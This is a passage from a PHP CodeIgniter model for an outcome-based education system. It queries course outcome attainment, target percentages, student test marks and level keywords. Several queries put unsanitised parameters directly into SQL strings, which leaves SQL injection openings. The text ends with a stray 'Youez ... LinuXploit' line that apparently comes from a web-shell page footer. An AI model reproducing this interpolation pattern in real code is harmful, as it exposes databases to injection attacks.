        $this->db->order_by("STM.tspi_id", "ASC");
        return $this->db->get();
    }

    function createCOAttainmentPercentage($data) {
        $this->db->insert("obes_course_outcome_overall_percentage_subjectwise", $data);
        return $this->db->insert_id();
    }

    function getCOAttainmentPercentageSubjectby($ocoops_id = '', $sm_id = '', $session = '', $flag = '') {
        $this->db->select("*");
        $this->db->from(" obes_course_outcome_overall_percentage_subjectwise");
        if ($sm_id != '') {
            $this->db->where("sm_id", $sm_id);
        }
        if ($session != '') {
            $this->db->where("session_id", $session);
        }
        if ($ocoops_id != '') {
            $this->db->where("ocoops_id NOT IN ('$ocoops_id')");
        }
        if ($flag != '') {
            $this->db->where("ocoops_percentage_flag", $flag);
        }
        return $this->db->get();
    }

    function getAllCOAttainmentPercentages() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_course_outcome_overall_percentage_subjectwise  ocoops");
        $this->db->join("subject_mst SM", "ocoops.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'ocoops.ocoops_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'ocoops.ocoops_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("SM.sm_name", "ASC");
        return $this->db->get();
    }

    function updateCOAttainmentPercentage($ocoops_id, $array) {
        $this->db->where("ocoops_id", $ocoops_id);
        return $this->db->update("obes_course_outcome_overall_percentage_subjectwise", $array);
    }

    function getCOOverAllAttainmentPercentagesBy($ocoops_id) {
        $this->db->select("*");
        $this->db->from("obes_course_outcome_overall_percentage_subjectwise  ");
        $this->db->where("ocoops_id", $ocoops_id);
        return $this->db->get();
    }

    function createCOTargetPercentage(array $array) {
        $this->db->insert_batch("obes_course_outcome_target_percentage", $array);
        return $this->db->insert_id();
    }

    function getCOTargetPercentageby($ocotp_id = '', $co_id = '', $session = '') {
        $this->db->select("*");
        $this->db->from("obes_course_outcome_target_percentage");
        if ($co_id != '') {
            $this->db->where("co_id", $co_id);
        }
        if ($session != '') {
            $this->db->where("session_id", $session);
        }
        if ($ocotp_id != '') {
            $this->db->where("ocotp_id NOT IN ('$ocotp_id')");
        }
        return $this->db->get();
    }

    function getAllCOTargetPercentages() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_course_outcome_target_percentage  ocotp");
        $this->db->join("obes_course_outcome CO", "ocotp.co_id = CO.co_id");
        $this->db->join("subject_mst SM", "CO.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'ocotp.ocotp_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'ocotp.ocotp_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("SM.sm_name", "ASC");
        return $this->db->get();
    }

    function updateCOTargetPercentage($ocotp_id, $array) {
        $this->db->where("ocotp_id", $ocotp_id);
        return $this->db->update("obes_course_outcome_target_percentage", $array);
    }

    function getCOTargetPercentagesBy($ocotp_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_course_outcome_target_percentage  ocotp");
        $this->db->join("obes_course_outcome CO", "ocotp.co_id = CO.co_id");
        $this->db->join("subject_mst SM", "CO.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'ocotp.ocotp_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'ocotp.ocotp_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("ocotp.ocotp_id", $ocotp_id);
        return $this->db->get();
    }

    function getCOSemesterExamTargetPercentageBy($osetp_id = '', $sm_id = '', $session = '') {
        $this->db->select("*");
        $this->db->from("`obes_semester_exam_target_percentage`     ");
        if ($sm_id != '') {
            $this->db->where("sm_id", $sm_id);
        }
        if ($session != '') {
            $this->db->where("session_id", $session);
        }
        if ($osetp_id != '') {
            $this->db->where("osetp_id NOT IN ('$osetp_id')");
        }
        return $this->db->get();
    }

    function createCOSemesterExamTargetPercentage(array $array) {
        $this->db->insert("obes_semester_exam_target_percentage", $array);
        return $this->db->insert_id();
    }

    function getAllCOSemesterExamTargetPercentages() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_semester_exam_target_percentage  osetp");
        $this->db->join("subject_mst SM", "osetp.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'osetp.osetp_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'osetp.osetp_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("SM.sm_name", "ASC");
        return $this->db->get();
    }

    function updateCOSemesterExamTargetPercentage($osetp_id, $array) {
        $this->db->where("osetp_id", $osetp_id);
        return $this->db->update("obes_semester_exam_target_percentage", $array);
    }

    function getCOSemesterExamTargetPercentagesBy($osetp_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_semester_exam_target_percentage  osetp");
        $this->db->join("subject_mst SM", "osetp.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'osetp.osetp_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'osetp.osetp_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("osetp.osetp_id", $osetp_id);
        return $this->db->get();
    }

    function getCOAttainmentLevelPercentageBy($ocoalp_id = '', $sm_id = '', $session = '', $level_name = '', $level_value = '', $flag = '') {
        $this->db->select("*");
        $this->db->from("`obes_course_outcome_attainment_level_percentage`");
        if ($sm_id != '') {
            $this->db->where("sm_id", $sm_id);
        }
        if ($session != '') {
            $this->db->where("session_id", $session);
        }
        if ($level_name != '') {
            $this->db->where("ocoalp_level_name ", $level_name);
        }
        if ($level_value != '') {
            $this->db->where("ocoalp_level_value ", $level_value);
        }
        if ($flag != '') {
            $this->db->where("ocoalp_DI_flag", $flag);
        }
        if ($ocoalp_id != '') {
            $this->db->where("ocoalp_id NOT IN ('$ocoalp_id')");
        }
        return $this->db->get();
    }

    function createCOAttainmentLevelPercentage(array $array) {
        $this->db->insert("obes_course_outcome_attainment_level_percentage", $array);
        return $this->db->insert_id();
    }

    function getAllCOAttainmentLevelPercentages() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_course_outcome_attainment_level_percentage  ocoalp");
        $this->db->join("subject_mst SM", "ocoalp.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'ocoalp.ocoalp_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'ocoalp.ocoalp_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("SM.sm_name", "ASC");
        return $this->db->get();
    }

    function updateCOAttainmentLevelPercentage($ocoalp_id, $array) {
        $this->db->where("ocoalp_id", $ocoalp_id);
        return $this->db->update("obes_course_outcome_attainment_level_percentage", $array);
    }

    function getCOAttainmentLevelPercentagesBy($ocoalp_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_course_outcome_attainment_level_percentage  ocoalp");
        $this->db->join("subject_mst SM", "ocoalp.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'ocoalp.ocoalp_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'ocoalp.ocoalp_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("ocoalp.ocoalp_id", $ocoalp_id);
        return $this->db->get();
    }

    function getCOAttainmentLevelPercentageIntExtBy($ocoalpie_id = '', $sm_id = '', $session = '', $flag = '') {
        $this->db->select("*");
        $this->db->from("`obes_course_outcome_attainment_level_percentage_int_ext`");
        if ($sm_id != '') {
            $this->db->where("sm_id", $sm_id);
        }
        if ($session != '') {
            $this->db->where("session_id", $session);
        }
        if ($ocoalpie_id != '') {
            $this->db->where("ocoalpie_id NOT IN ('$ocoalpie_id')");
        }
        if ($flag != '') {
            $this->db->where("ocoalpie_IE_flag", $flag);
        }
        return $this->db->get();
    }

    function createCOAttainmentLevelPercentageIntExt(array $array) {
        $this->db->insert_batch("obes_course_outcome_attainment_level_percentage_int_ext", $array);
        return $this->db->insert_id();
    }

    function getAllCOAttainmentLevelPercentagesIntExt() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_course_outcome_attainment_level_percentage_int_ext  ocoalpie");
        $this->db->join("subject_mst SM", "ocoalpie.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'ocoalpie.ocoalpie_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'ocoalpie.ocoalpie_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("SM.sm_name", "ASC");
        return $this->db->get();
    }

    function updateCOAttainmentLevelPercentageIntExt($ocoalpie_id, $array) {
        $this->db->where("ocoalpie_id", $ocoalpie_id);
        return $this->db->update("obes_course_outcome_attainment_level_percentage_int_ext", $array);
    }

    function getCOAttainmentLevelPercentagesByIntExt($ocoalpie_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_course_outcome_attainment_level_percentage_int_ext  ocoalpie");
        $this->db->join("subject_mst SM", "ocoalpie.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'ocoalpie.ocoalpie_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'ocoalpie.ocoalpie_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("ocoalpie.ocoalpie_id", $ocoalpie_id);
        return $this->db->get();
    }

    function getTestMarksDataBy($sm_id, $co_id, $assessment_id) {
        $this->db->select("*");
        $this->db->from("obes_student_test_marks OSTM");
        $this->db->join("obes_test_ques OTQ", "OTQ.qno_id=OSTM.qno_id");
        $this->db->join("obes_test OT", "OT.test_id = OTQ.test_id");
        $this->db->where("OSTM.sta_id IN (SELECT STA.sta_id FROM subject_tech_allot STA WHERE STA.sm_id = '$sm_id')");
        $this->db->where("OSTM.qno_id IN ("
                . "SELECT q.qno_id "
                . "FROM obes_test_ques q, "
                . "obes_test t, "
                . "obes_subject_course_outcome sco "
                . "WHERE q.test_id = t.test_id "
                . "AND sco.qno_id = q.qno_id "
                . "AND sco.co_id = '$co_id' "
                . "AND t.test_id = '$assessment_id')");
        return $this->db->get();
    }

    function getSumOfTestMarksOfAllStudentInCOForSubject($sm_id, $co_id, $assessment_id, $session_id) {
        $this->db->select("SUM(OSTM.stm_obt_marks) as total_obtained_marks_for_co");
        $this->db->from("obes_student_test_marks OSTM");
        $this->db->join("obes_test_ques OTQ", "OTQ.qno_id=OSTM.qno_id");
        $this->db->join("obes_test OT", "OT.test_id = OTQ.test_id");
        $this->db->where("OSTM.sta_id IN (SELECT STA.sta_id FROM subject_tech_allot STA WHERE STA.sm_id = '$sm_id' AND STA.session_id ='$session_id' )");
        $this->db->where("OSTM.qno_id IN ("
                . "SELECT q.qno_id "
                . "FROM obes_test_ques q, "
                . "obes_test t, "
                . "obes_subject_course_outcome sco "
                . "WHERE q.test_id = t.test_id "
                . "AND sco.qno_id = q.qno_id "
                . "AND sco.co_id = '$co_id' "
                . "AND t.test_id = '$assessment_id')");
        $this->db->where("OSTM.session_id", $session_id);
        return $this->db->get();
    }

    function getSumOfTestMaximumMarksOfAllStudentPresentInCOForSubject($sm_id, $co_id, $assessment_id, $session_id) {
        $this->db->select("SUM(OTQ.qno_marks) as total_maximum_marks_for_co");
        $this->db->from("obes_student_test_marks OSTM");
        $this->db->join("obes_test_ques OTQ", "OTQ.qno_id=OSTM.qno_id");
        $this->db->join("obes_test OT", "OT.test_id = OTQ.test_id");
        $this->db->where("OSTM.sta_id IN (SELECT STA.sta_id FROM subject_tech_allot STA WHERE STA.sm_id = '$sm_id' AND STA.session_id ='$session_id') ");
        $this->db->where("OSTM.qno_id IN ("
                . "SELECT q.qno_id "
                . "FROM obes_test_ques q, "
                . "obes_test t, "
                . "obes_subject_course_outcome sco "
                . "WHERE q.test_id = t.test_id "
                . "AND sco.qno_id = q.qno_id "
                . "AND sco.co_id = '$co_id' "
                . "AND t.test_id = '$assessment_id')");
        $this->db->where("OSTM.stm_flag", "P");
        $this->db->where("OSTM.session_id", $session_id);
        return $this->db->get();
    }

    function getTotalAveragePercentageOfStudentsInASubject($sm_id) {
        $this->db->select("SUM(SSSM.sssm_marks) as obtained_total, SUM(SSSM.sssm_max_marks) as total, (SUM(SSSM.sssm_marks) * 100 / SUM(SSSM.sssm_max_marks)) as percent");
        $this->db->from("student_subject_allot SSA");
        $this->db->join("student_subject_sem_marks SSSM", "SSA.tspi_id = SSSM.tspi_id");
        $this->db->where("SSA.sm_id=SSSM.sm_id");
        $this->db->where("SSA.sm_id", $sm_id);
        $this->db->group_by("SSA.sm_id");
        return $this->db->get();
    }

    function getExternalPercentageForCOAttainment($sm_id, $type) {
        $this->db->select("*");
        $this->db->from("obes_course_outcome_attainment_level_percentage_int_ext");
        $this->db->where("sm_id", $sm_id);
        $this->db->where("ocoalpie_IE_flag", $type);
        return $this->db->get();
    }

    /* 01/06/2021 Developer 1 code */

    function createLevelsAndKeywords(array $array) {
        $this->db->insert("obes_levels_keywords", $array);
        return $this->db->insert_id();
    }

    function getLevelsAndKeywordsBy($olk_id = '', $level_abbre = '', $level_name = '') {
        $this->db->select("*");
        $this->db->from("`obes_levels_keywords`");
        if ($level_abbre != '') {
            $this->db->where("olk_level_abbreviation", $level_abbre);
        }
        if ($olk_id != '') {
            $this->db->where("olk_id NOT IN ('$olk_id')");
        }
        if ($level_name != '') {
            $this->db->where("olk_level_name", $level_name);
        }
        return $this->db->get();
    }

    function getLevelsAndKeywordsByID($olk_id = '') {
        $this->db->select("*");
        $this->db->from("`obes_levels_keywords`");
        $this->db->where("olk_id", $olk_id);
        return $this->db->get();
    }

    function getLevelsAndKeywords() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_levels_keywords olk");
        $this->db->join('tbl_staff_members TSMA', 'olk.olk_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'olk.olk_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        return $this->db->get();
    }

    function getActiveAndNonDeletedLevelsAndKeywords() {
        $this->db->select("*");
        $this->db->from("obes_levels_keywords olk");
        $this->db->where("olk.olk_active_status", "T");
        $this->db->where("olk.olk_delete_status", "F");
        return $this->db->get();
    }

    function updateLevelsAndKeywordst($olk_id, $array) {
        $this->db->where("olk_id", $olk_id);
        return $this->db->update("obes_levels_keywords", $array);
    }

    function getModelQuestionPaper($course = '', $subject = '', $test = '') {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_test_ques Ques");
        $this->db->join("obes_test OT", "OT.test_id = Ques.test_id");
        $this->db->join("subject_mst SM", "OT.sm_id = SM.sm_id");
        $this->db->join("obes_levels_keywords olk", "olk.olk_id = ques.qno_level");
        $this->db->join('tbl_staff_members TSMA', 'Ques.qno_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'Ques.qno_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        if ($course != '') {
            $this->db->where('sm.course_id', $course);
        }
        if ($subject != '') {
            $this->db->where('sm.sm_id', $subject);
        }
        if ($test != '') {
            $this->db->where('OT.test_id', $test);
        }
        $this->db->order_by("Ques.qno_name", "ASC");
        return $this->db->get();
    }

    function getModelQuestionPaperAndCOSummaryInJSON($test_id = '') {
        $dataValues = [];
        $dataLabel = [];
        $this->db->select("SUM(Ques.qno_marks) as marks,OSCO.co_id,OCO.co_name as co_name");
        $this->db->from("obes_test_ques Ques");
        $this->db->join("obes_subject_course_outcome OSCO", "Ques.qno_id = OSCO.qno_id");
        $this->db->join("obes_course_outcome OCO", "OSCO.co_id = OCO.co_id");
        $this->db->where("Ques.test_id", $test_id);
        $this->db->group_by("OSCO.co_id,OCO.co_name");
        $coQuestionSummary = $this->db->get()->result();
        for ($i = 0; $i < (sizeof($coQuestionSummary)); $i++) {
            array_push($dataValues, $coQuestionSummary[$i]->marks);
            array_push($dataLabel, $coQuestionSummary[$i]->co_name);
        }
        return json_encode(array(
            'data' => $dataValues,
            'labels' => $dataLabel
        ));
    }

    function getLevelWiseMarksDistributionSummaryInJSON($test_id = '') {
        $dataValues = [];
        $dataLabel = [];
        $this->db->select("SUM(Ques.qno_marks) as marks,olk.olk_id,olk.olk_level_name");
        $this->db->from("obes_test_ques Ques");
        $this->db->join("obes_levels_keywords OLK", "OLK.olk_id = Ques.qno_level");
        $this->db->where("Ques.test_id", $test_id);
        $this->db->group_by("olk.olk_id,olk.olk_level_name");
        $coQuestionSummary = $this->db->get()->result();
        for ($i = 0; $i < (sizeof($coQuestionSummary)); $i++) {
            array_push($dataValues, $coQuestionSummary[$i]->marks);
            array_push($dataLabel, $coQuestionSummary[$i]->olk_level_name);
        }
        return json_encode(array(
            'data' => $dataValues,
            'labels' => $dataLabel
        ));
    }

    function getCOMappedToQuestion($qno_id) {
        $this->db->select("*");
        $this->db->from("obes_subject_course_outcome OSCO");
        $this->db->join("obes_course_outcome OCO", "OCO.co_id = OSCO.co_id");
        $this->db->where("OSCO.qno_id", $qno_id);
        return $this->db->get();
    }

    function getPOMappedToCO($co_id) {
        $this->db->select("*");
        $this->db->from("obes_co_po_mapping OCPM");
        $this->db->join("obes_program_outcome PO", "PO.po_id = OCPM.po_id");
        $this->db->where("OCPM.co_id", $co_id);
        return $this->db->get();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit